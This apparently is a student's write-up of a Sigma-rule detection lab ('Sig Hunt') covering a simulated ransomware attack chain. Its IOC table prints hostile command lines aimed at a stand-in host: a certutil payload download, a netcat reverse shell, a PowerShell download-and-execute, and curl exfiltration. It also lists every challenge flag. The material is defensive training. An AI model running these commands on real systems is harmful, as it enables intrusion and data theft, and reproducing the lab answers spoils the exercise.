

L2-7.4. Sig Hunt

This room aims to be a supplementary room for Sigma rule creation. In this scenario, you will act as one of the Detection Engineers that will craft Sigma Rules based on the Indicators of Compromise (IOCs) collected by your Incident Responders.

- **Run** - Submit your Sigma rule and see if it detects the malicious IOC.
- **Text Editor** Write your Sigma rule in this section.
- **Create Rule** - Create a Sigma rule for the malicious IOC.
- **View Log** - View the log details associated with the malicious IOC.

\$ suspicious_mshta_execution.yml

Submit your Sigma Rule →

Run ▶

1 title: #Title of your rule

2 id: #Universally Unique Identifier (UUID) Generate one from https://www

3 status: #Stage of your rule testing

4 description: #Details about the detection intensions of the rule.

5 author: #Who wrote the rule.

6 date: #When was the rule written.

7 modified: #When was it updated

8 logsource:

9 product: windows

10 service: sysmon

11 detection:

12 selection:

13 FieldName1: #Search identifiers for the detection. Refer to the required

14 - Value

15 FieldName2:

16 - Value

17 condition: selection #Action to be taken. Can use condition operators such

18 as OR, AND, NOT,

19 fields: #List of associated fields that are important for the detection

20 falsepositives: #Any possible false positives that could trigger the rule.

21

22 level: medium #Severity level of the detection rule.

23 tags: #Associated TTPs from MITRE ATT&CK

24 - attack.credential_access #MITRE Tactic

25 - attack.t1110 #MITRE Technique

26

Text Editor for Sigma Rules

Attack Chain Details

Create Sigma Rule for the malicious activity

View log entry related to the malicious activity

Challenge #1: Malicious mshta	Create Rule	View Log
Challenge #2: Certutil Download	Create Rule	View Log
Challenge #3: Netcat Execution	Create Rule	View Log
Challenge #4: PowerUp Enumeration	Create Rule	View Log
Challenge #5: Service Binary Modification	Create Rule	View Log
Challenge #6: RunOnce Persistence	Create Rule	View Log
Challenge #7: 7z Archive Collection	Create Rule	View Log
Challenge #8: Curl Data Exfiltration	Create Rule	View Log
Challenge #9: Ransomware File Encryption	Create Rule	View Log

Huntme Incident

Scenario: You are hired as a Detection Engineer for your organization. During your first week, a ransomware incident has just concluded, and the Incident Responders of your organization have successfully mitigated the threat. With their collective effort, the Incident Response (IR) Team provided the IOCs based on their investigation. Your task is to create Sigma rules to improve the detection capabilities of your organization and prevent future incidents similar to this.

Indicators of Compromise

Based on the given incident report, the Incident Responders discovered the following attack chain:

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- Execution of malicious HTA payload from a phishing link. (HTA: HTML Application (HTA) files are files that contain HTML, JScript, and or VBScript code that can be executed on client system. This can lead to more dynamic applications or remote code execution on a client or victim.)
- Execution of Certutil tool to download Netcat binary.
- Netcat execution to establish a reverse shell.
- Enumeration of privilege escalation vectors through PowerUp.ps1.
- Abused service modification privileges to achieve System privileges.
- Collected sensitive data by archiving via 7-zip.
- Exfiltrated sensitive data through **cURL** binary.
- Executed ransomware with **huntme** as the file extension.

In addition, the Incident Responders provided a table of IOCs at your disposal.

Attack Technique	Indicators of Compromise
HTA payload	Parent Image: chrome.exe Image: mshta.exe Command Line: C:\Windows\SysWOW64\mshta.exe C:\Users\victim\Downloads\update.hta
Certutil Download	Image: certutil.exe Command Line: certutil -urlcache -split -f http://huntmeplz.com/ransom.exe ransom.exe
Netcat Reverse Shell	Image: nc.exe Command Line: C:\Users\victim\AppData\Local\Temp\nc.exe huntmeplz.com 4444 -e cmd.exe MD5 Hash: 523613A7B9DFA398CBD5EBD2DD0F4F38
PowerUp Enumeration	Image: powershell.exe Command Line: powershell "iex(new-object net.webclient).downloadstring('http://huntmeplz.com/PowerUp.ps1'); Invoke-AllChecks;"
Service Binary Modification	Image: sc.exe Command Line: sc.exe config SNMPTRAP binPath="C:\Users\victim\AppData\Local\Temp\rev.exe huntmeplz.com 4443 -e cmd.exe"
RunOnce Persistence	Image: reg.exe Command Line: reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v MicrosoftUpdate /t REG_SZ /d "C:\Windows\System32\cmd.exe"
7-zip Collection	Image: 7z.exe Command Line: 7z a exfil.zip * -p

cURL Exfiltration	Image: curl.exe Command Line: curl -d @exfil.zip http://huntmeplz.com:8080/
Ransomware File Encryption	Image: ransom.exe Target Filename: *.huntme

Rule Creation Standards

The Detection Engineering Team follows a standard when creating a Sigma Rule. You may refer to the guidelines below.

Attack Technique	Required Detection Fields
HTA payload	• EventID • ParentImage • Image
Certutil Download	• EventID • Image • CommandLine
Netcat Reverse Shell	• EventID • Image • CommandLine • Hashes
PowerUp Enumeration	• EventID • Image • CommandLine
Service Binary Modification	• EventID • Image • CommandLine
RunOnce Persistence	• EventID • Image • CommandLine
7-zip Collection	• EventID • Image • CommandLine
cURL Exfiltration	• EventID • Image • CommandLine
Ransomware File Encryption	• EventID • TargetFilename

Answer the questions below

- Filled in the log details according to the IoC tables provided at the beginning of the room when the scenario was explained.
- Found the answers to the rule creation standards on the website by clicking **View Log**, which provided the web address.

What is the Challenge #1 flag? THM{ph1sh1ng_msht4_101}

SigHunt

Successfully detected malicious mshta execution. Here is your flag - THM{ph1sh1ng_msht4_101} ✕

\$ suspicious_mshta_execution.yml Run ▶

```

1 title: Malicious HTA payload Rule
2 id: #Universally Unique Identifier (UUID) Generate one from https://www
  .uuidgenerator.net
3 status: test
4 description: Detection a Malicious HT payload
5 author: Kalizen
6 date: 06/09/24
7 modified: Never
8 - logsource:
9   product: windows
10  service: sysmon
11 - detection:
12   selection:
13     EventID: 1
14     Image: C:\Windows\SysWOW64\mshta.exe
15     ParentImage: C:\Program Files\Google\Chrome\Application\chrome.exe
16   condition: selection #Action to be taken. Can use condition operators such as OR,
    AND, NOT,
17 fields: #List of associated fields that are important for the detection
18
19 falsepositives: #Any possible false positives that could trigger the rule.
20
21 level: medium #Severity level of the detection rule.
22 - tags: #Associated TTPs from MITRE ATTACK
23   - attack:credential_access #MITRE Tactic
24     - attack.t1110 #MITRE Technique
25
          
```

Attack Chain Details

Challenge #1 flag: THM{ph1sh1ng_msht4_101}	Create Rule	View Log
Challenge #2: Certutil Download	Create Rule	View Log
Challenge #3: Netcat Execution	Create Rule	View Log
Challenge #4: PowerUp Enumeration	Create Rule	View Log
Challenge #5: Service Binary Modification	Create Rule	View Log
Challenge #6: RunOnce Persistence	Create Rule	View Log
Challenge #7: 7z Archive Collection	Create Rule	View Log
Challenge #8: Curl Data Exfiltration	Create Rule	View Log
Challenge #9: Ransomware File Encryption	Create Rule	View Log

Wshat is the Challenge #2 flag? THM{n0t_just_4_c3rts}

Successfully detected suspicious certutil download. Here is your flag - THM{n0t_just_4_c3rts}

\$ suspicious_mshta_execution.yml

[Run ▶](#)

```
1 title: Malicious HTA payload Rule
2 id: #Universally Unique Identifier (UUID) Generate one from https://www.uuidgenerator.net
3 status: test
4 description: Detecting a Malicious HTA payload
5 author: Kaizen
6 date: 06/09/24
7 modified: Never
8 logsource:
9   product: windows
10  service: sysmon
11 detection:
12   selection:
13     EventID: 1
14     Image|endswith: 'certutil.exe'
15   Commandline|contains|all:
16     - 'certutil'
17     - '-urlcache'
18     - '-split'
19     - '-f'
20   condition: selection #Action to be taken. Can use condition operators such as OR, AND, NOT,
21   fields: #List of associated fields that are important for the detection
22
23 falsepositives: #Any possible false positives that could trigger the rule.
24
25 level: medium #Severity level of the detection rule.
26 tags: #Associated TTPs from MITRE ATT&CK
27   - attack.credential_access #MITRE Tactic
28   - attack.t1110 #MITRE Technique
29
```

Attack Chain Details

Challenge #1 flag: THM{ph1sh1ng_msht4_101}

Challenge #2 flag: THM{n0t_just_4_c3rts}

Challenge #3: Netcat Execution

Challenge #4: PowerUp Enumeration

Challenge #5: Service Binary Modification

Challenge #6: RunOnce Persistence

Challenge #7: 7z Archive Collection

What is the Challenge #3 flag? THM{cl4ss1c_n3tc4t_r3vs}

Successfully detected netcat reverse shell execution. Here is your flag - THM{cl4ss1c_n3tc4t_r3vs}

\$ suspicious_mshta_execution.yml

[Run ▶](#)

```
4 description: Detecting a Malicious HTA payload
5 author: Kaizen
6 date: 06/09/24
7 modified: Never
8 logsource:
9   product: windows
10  service: sysmon
11 detection:
12   selection1:
13     EventID: 1
14     Image|endswith: 'nc.exe'
15   Commandline|contains|all:
16     - 'nc.exe'
17     - '-e cmd.exe'
18   selection2:
19     Hashes|contains:
20       - '523613A7B9DFA398CB05EBD2D00F4F38'
21   condition: selection1 or selection2 #Action to be taken. Can use condition operators such as
22   fields: #List of associated fields that are important for the detection
23
24 falsepositives: #Any possible false positives that could trigger the rule.
25
26 level: medium #Severity level of the detection rule.
27 tags: #Associated TTPs from MITRE ATT&CK
28   - attack.credential_access #MITRE Tactic
29   - attack.t1110 #MITRE Technique
30
```

Attack Chain Details

Challenge #1 flag: THM{ph1sh1ng_msht4_101}

Challenge #2 flag: THM{n0t_just_4_c3rts}

Challenge #3 flag: THM{cl4ss1c_n3tc4t_r3vs}

Challenge #4: PowerUp Enumeration

Challenge #5: Service Binary Modification

Challenge #6: RunOnce Persistence

Challenge #7: 7z Archive Collection

What is the Challenge #4 flag? THM{p0wp0wp0w3rup_3num}

SigHunt

Successfully detected enumeration using PowerUp. Here is your flag - `THM{p0wp0wp0w3rup_3num}`

\$ suspicious_mshta_execution.yml

Run

```
1 title: Malicious HTA payload Rule
2 id: #Universally Unique Identifier (UUID) Generate one from https://www.uuidgenerator.net
3 status: test
4 description: Detecting a Malicious HTA payload
5 author: Kaizen
6 date: 06/09/24
7 modified: Never
8 logsource:
9   product: windows
10  service: sysmon
11 detection:
12   selection:
13     EventID: 1
14     Image|endswith: 'powershell.exe'
15     CommandLine|contains|all:
16       - 'PowerUp.ps1'
17       - 'Invoke-AllChecks'
18   condition: selection #Action to be taken. Can use condition operators such as OR, AND, NOT,
19   fields: #List of associated fields that are important for the detection
20   falsepositives: #Any possible false positives that could trigger the rule.
21   level: medium #Severity level of the detection rule.
22   tags: #Associated TTPs from MITRE ATT&CK
23     - attack.credential_access #MITRE Tactic
24     - attack.t1110 #MITRE Technique
25
```

Attack Chain Details

Challenge #1 flag: THM{ph1sh1ng_msht4_101}

Challenge #2 flag: THM{n0t_just_4_c3rts}

Challenge #3 flag: THM{cl4ss1c_n3tc4t_r3vs}

Challenge #4 flag: THM{p0wp0wp0w3rup_3num}

Challenge #5: Service Binary Modification

Challenge #6: RunOnce Persistence

What is the Challenge #5 flag? THM{ov3rpr1v1l3g3d_s3rv1c3}

SigHunt

Successfully detected service binary modification. Here is your flag - `THM{ov3rpr1v1l3g3d_s3rv1c3}`

\$ suspicious_mshta_execution.yml

Run

```
1 title: Malicious HTA payload Rule
2 id: #Universally Unique Identifier (UUID) Generate one from https://www.uuidgenerator.net
3 status: test
4 description: Detecting a Malicious HTA payload
5 author: Kaizen
6 date: 06/09/24
7 modified: Never
8 logsource:
9   product: windows
10  service: sysmon
11 detection:
12   selection:
13     EventID: 1
14     Image|endswith: 'sc.exe'
15     CommandLine|contains|all:
16       - 'sc.exe'
17       - 'config'
18       - 'binPath='
19   condition: selection #Action to be taken. Can use condition operators such as OR, AND, NOT,
20   fields: #List of associated fields that are important for the detection
21   falsepositives: #Any possible false positives that could trigger the rule.
22   level: medium #Severity level of the detection rule.
23   tags: #Associated TTPs from MITRE ATT&CK
24     - attack.credential_access #MITRE Tactic
25     - attack.t1110 #MITRE Technique
26
```

Attack Chain Details

Challenge #1 flag: THM{ph1sh1ng_msht4_101}

Challenge #2 flag: THM{n0t_just_4_c3rts}

Challenge #3 flag: THM{cl4ss1c_n3tc4t_r3vs}

Challenge #4 flag: THM{p0wp0wp0w3rup_3num}

Challenge #5 flag: THM{ov3rpr1v1l3g3d_s3rv1c3}

Challenge #6: RunOnce Persistence

Challenge #7: 7z Archive Collection

What is the Challenge #6 flag? THM{h1d3_m3_1n_run0nc3}

SigHunt

Successfully detected persistence on RunOnce registry key. Here is your flag - THM{h1d3_m3_1n_run0nc3}

\$ suspicious_mshta_execution.yml

Run ▶

```
1 title: Malicious HTA payload Rule
2 id: #Universally Unique Identifier (UUID) Generate one from https://www.uuidgenerator.net
3 status: test
4 description: Detecting a Malicious HTA payload
5 author: Kaiizen
6 date: 06/09/24
7 modified: Never
8 logsource:
9   product: windows
10  service: sysmon
11 detection:
12   selection:
13     EventID: 1
14     Image|endswith: 'reg.exe'
15     CommandLine|contains|all:
16       - 'add '
17       - '/v'
18       - '/t'
19       - '/d'
20       - 'REG_SZ'
21       - 'RunOnce'
22   condition: selection #Action to be taken. Can use condition operators such as OR, AND, NOT,
23   fields: #List of associated fields that are important for the detection
24
25 falsepositives: #Any possible false positives that could trigger the rule.
26
27 level: medium #Severity level of the detection rule.
28 tags: #Associated TTPs from MITRE ATT&CK
```

Attack Chain Details

Challenge #1 flag: THM{ph1sh1ng_msht4_101}

Challenge #2 flag: THM{n0t_just_4_c3rts}

Challenge #3 flag: THM{cl4ss1c_n3tc4t_r3vs}

Challenge #4 flag: THM{p0wp0wp0w3rup_3num}

Challenge #5 flag: THM{ov3rpr1v1l3g3d_s3rv1c3}

Challenge #6 flag: THM{h1d3_m3_1n_run0nc3}

Challenge #7: 7z Archive Collection

What is the Challenge #7 flag? THM{c0ll3ct1ng_7z_ftw}

SigHunt

Successfully detected 7z archive attempt. Here is your flag - THM{c0ll3ct1ng_7z_ftw}

\$ suspicious_mshta_execution.yml

Run ▶

```
1 title: Malicious HTA payload Rule
2 id: #Universally Unique Identifier (UUID) Generate one from https://www.uuidgenerator.net
3 status: test
4 description: Detecting a Malicious HTA payload
5 author: Kaiizen
6 date: 06/09/24
7 modified: Never
8 logsource:
9   product: windows
10  service: sysmon
11 detection:
12   selection:
13     EventID: 1
14     Image|endswith: '7z.exe'
15     CommandLine|contains|all:
16       - 'a '
17       - '-p|'
18   condition: selection #Action to be taken. Can use condition operators such as OR, AND, NOT,
19   fields: #List of associated fields that are important for the detection
20
21 falsepositives: #Any possible false positives that could trigger the rule.
22
23 level: medium #Severity level of the detection rule.
24 tags: #Associated TTPs from MITRE ATT&CK
25   - attack.credential_access #MITRE Tactic
26   - attack.t1110 #MITRE Technique
27
```

Attack Chain Details

Challenge #1 flag: THM{ph1sh1ng_msht4_101}

Challenge #2 flag: THM{n0t_just_4_c3rts}

Challenge #3 flag: THM{cl4ss1c_n3tc4t_r3vs}

Challenge #4 flag: THM{p0wp0wp0w3rup_3num}

Challenge #5 flag: THM{ov3rpr1v1l3g3d_s3rv1c3}

Challenge #6 flag: THM{h1d3_m3_1n_run0nc3}

Challenge #7 flag: THM{c0ll3ct1ng_7z_ftw}

What is the Challenge #8 flag? THM{cUrling_On_w1nd0ws}

SigHunt

Successfully detected exfiltration via curl.exe. Here is your flag - THM{cUrLing_0n_w1nd0ws}

\$ suspicious_mshta_execution.yml

Run ▶

```
1 title: Malicious HTA payload Rule
2 id: #Universally Unique Identifier (UUID) Generate one from https://www.uuidgenerator.net
3 status: test
4 description: Detecting a Malicious HTA payload
5 author: Kaizen
6 date: 06/09/24
7 modified: Never
8 - logsource:
9   product: windows
10  service: sysmon
11 - detection:
12   selection:
13     EventID: 1
14     Image|endswith: 'curl.exe'
15     CommandLine|contains|all:
16     - 'curl'
17     - '-d'
18   condition: selection #Action to be taken. Can use condition operators such as OR, AND, NOT,
19   fields: #List of associated fields that are important for the detection
20   falsepositives: #Any possible false positives that could trigger the rule.
21
22 level: medium #Severity level of the detection rule.
23 tags: #Associated TTPs from MITRE ATT&CK
24   - attack.credential_access #MITRE Tactic
25   - attack.t1110 #MITRE Technique
26
27
```

Attack Chain Details

Challenge #1 flag: THM{ph1sh1ng_msht4_101}

Challenge #2 flag: THM{n0t_just_4_c3rts}

Challenge #3 flag: THM{cl4ss1c_n3tc4t_r3vs}

Challenge #4 flag: THM{p0wp0wp0w3rup_3num}

Challenge #5 flag: THM{ov3rpr1v1l3g3d_s3rv1c3}

Challenge #6 flag: THM{h1d3_m3_1n_run0nc3}

Challenge #7 flag: THM{c0ll3ct1ng_7z_ftw}

What is the Challenge #9 flag? THM{huntm3_pl34s3}

SigHunt

Successfully detected ransomware file encryption with huntme extension. Here is your flag - THM{huntm3_pl34s3}

\$ suspicious_mshta_execution.yml

Run ▶

```
1 title: Malicious HTA payload Rule
2 id: #Universally Unique Identifier (UUID) Generate one from https://www.uuidgenerator.net
3 status: test
4 description: Detecting a Malicious HTA payload
5 author: Kaizen
6 date: 06/09/24
7 modified: Never
8 - logsource:
9   product: windows
10  service: sysmon
11 - detection:
12   selection:
13     EventID: 11
14     TargetFilename|endswith: '.huntme'
15   condition: selection #Action to be taken. Can use condition operators such as OR, AND, NOT,
16   fields: #List of associated fields that are important for the detection
17   falsepositives: #Any possible false positives that could trigger the rule.
18
19 level: medium #Severity level of the detection rule.
20 tags: #Associated TTPs from MITRE ATT&CK
21   - attack.credential_access #MITRE Tactic
22   - attack.t1110 #MITRE Technique
23
24
```

Attack Chain Details

Challenge #1 flag: THM{ph1sh1ng_msht4_101}

Challenge #2 flag: THM{n0t_just_4_c3rts}

Challenge #3 flag: THM{cl4ss1c_n3tc4t_r3vs}

Challenge #4 flag: THM{p0wp0wp0w3rup_3num}

Challenge #5 flag: THM{ov3rpr1v1l3g3d_s3rv1c3}

Challenge #6 flag: THM{h1d3_m3_1n_run0nc3}